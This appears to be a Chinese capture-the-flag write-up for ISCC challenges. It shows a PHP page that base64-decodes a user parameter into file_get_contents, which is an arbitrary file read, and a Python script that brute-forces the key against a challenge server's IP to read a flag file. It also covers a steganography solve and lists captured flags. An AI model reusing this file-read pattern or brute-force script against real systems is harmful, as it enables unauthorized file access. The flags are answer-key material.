@app.route('/hint')
def home():
    if session.get('level'):
        level = session.get('level')

    return render_template('hint.html', level=level)

@app.route('/', methods=['GET'])
def login():
    if not session.get('user'):
        session['user'] = 'visitor'
    if not session.get('level'):
        session['level'] = 1

    if request.method == 'GET':
        number_list = random.sample(list(range(1, 10)), 9)
        return render_template('index.html', num_list=number_list, level=session['level'], user=session['user'])

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=83)
<?php
  $f = fopen("a.txt",'r');
$flag = fread($f,filesize("a.txt"));
fclose($f);

echo $flag;
if($flag == 1){
  echo "sss";
  $f = fopen("a.txt","w");
  fwrite($f,'2');
  fclose($f);
  exit();
}
if($flag == 2){
  echo "sss";
  $f = fopen("a.txt","w");
  fwrite($f,'3');
  fclose($f);
  exit();
}
$url = 'http://127.0.0.1:83/flag?find=/Bighouse/Treasure';
header("LOCATION: $url");
$f = fopen("a.txt",'w');
fwrite($f,'1');
fclose($f);
exit;
?>

web2 3D建模大赛

全网第一份wp应该,一血他们是出题人给的flag

web部分,是改的贵阳杯的题

<?php
header("Content-type:text/html;charset=utf-8");
$flag2 = "flag2 in /flaaaag";
$image=$_GET['imges'];
$allow = range(2,20);
shuffle($allow);
if(($_GET['key']==$allow[0])){
        $image = base64_decode($image);
        $data = base64_encode(file_get_contents($image));
        echo "<img src='data:image/png;base64,$data'/>";
}else{
        $image = base64_encode("BL.png");
        header("location:/?imges=".$image);
}
echo "别重定向了,给我个数字key吧[2-6]";

爆破读一下flag

import requests
import base64

for i in range(30):
    resp = requests.get(f'http://47.94.14.162:10005/?imges=L2ZsYWFhYWc=&key={i}',allow_redirects=False)

    text = resp.text
    if 'base64' in text:
        print(base64.b64decode((str(text).replace("<img src='data:image/png;base64,",'').replace("'/>别重定向了,给我个数字key吧[2-6]",'').encode()).decode()))
        
        
# w#|m0p3DTB5o_V}	

misc部分,是这样一张图

图片 18

读rgb数据分析发现,所有值是10的倍数

结合题目名,拿rgb作为xyz画图

import matplotlib.pyplot as plt
import numpy as np 
from PIL import Image

img = Image.open('BL.png')
img = np.array(img)

r = img[:,:,0]
g = img[:,:,1] 
b = img[:,:,2]

x = r.flatten()
y = g.flatten()
z = b.flatten()

fig = plt.figure()
ax = fig.add_subplot(111, projection='3d')
ax.scatter(x, y, z, c=z, cmap='Greens')

ax.set_xlabel('Red')
ax.set_ylabel('Green') 
ax.set_zlabel('Blue')

plt.show()  

图片 19

可以看到二维码

三个轴画出来的二维码不一样

画出来拼起来,得到flag1

from PIL import Image
import pyzbar.pyzbar as pyzbar
import base64

img = Image.open('BL.png')
pixels = img.load()

new_image_1 = Image.new('RGB',(27,27),(255,255,255))
new_image_2 = Image.new('RGB',(27,27),(255,255,255))
new_image_3 = Image.new('RGB',(27,27),(255,255,255))

for y in range(img.height):
    for x in range(img.height):
        r,g,b  = img.getpixel((x,y))
        if r % 10 == 0:
            new_image_1.putpixel(((g//10),(b//10)),(0,0,0))
        if g % 10 == 0:
            new_image_2.putpixel(((r//10),(b//10)),(0,0,0))
        if b % 10 == 0:
            new_image_3.putpixel(((r//10),(g//10)),(0,0,0))
        

flag = pyzbar.decode(new_image_1)[0].data.decode("utf-8")+pyzbar.decode(new_image_2)[0].data.decode("utf-8")+pyzbar.decode(new_image_3)[0].data.decode("utf-8")

print(base64.b64decode(base64.b64decode(base64.b64decode(eval(flag)))).decode())

# ISCC{343612c4-9706-4a35

ISCC{343612c4-9706-4a35w#|m0p3DTB5o_V}

web3

ISCC{w4WdUcZeMAmF15o7sEdg3X65AUwtPD1v}

一键连接

ISCC{Tx584eE4uZH12O3WjAQKbih09oUad8pI}

摩斯

flag{oh!itistheflag}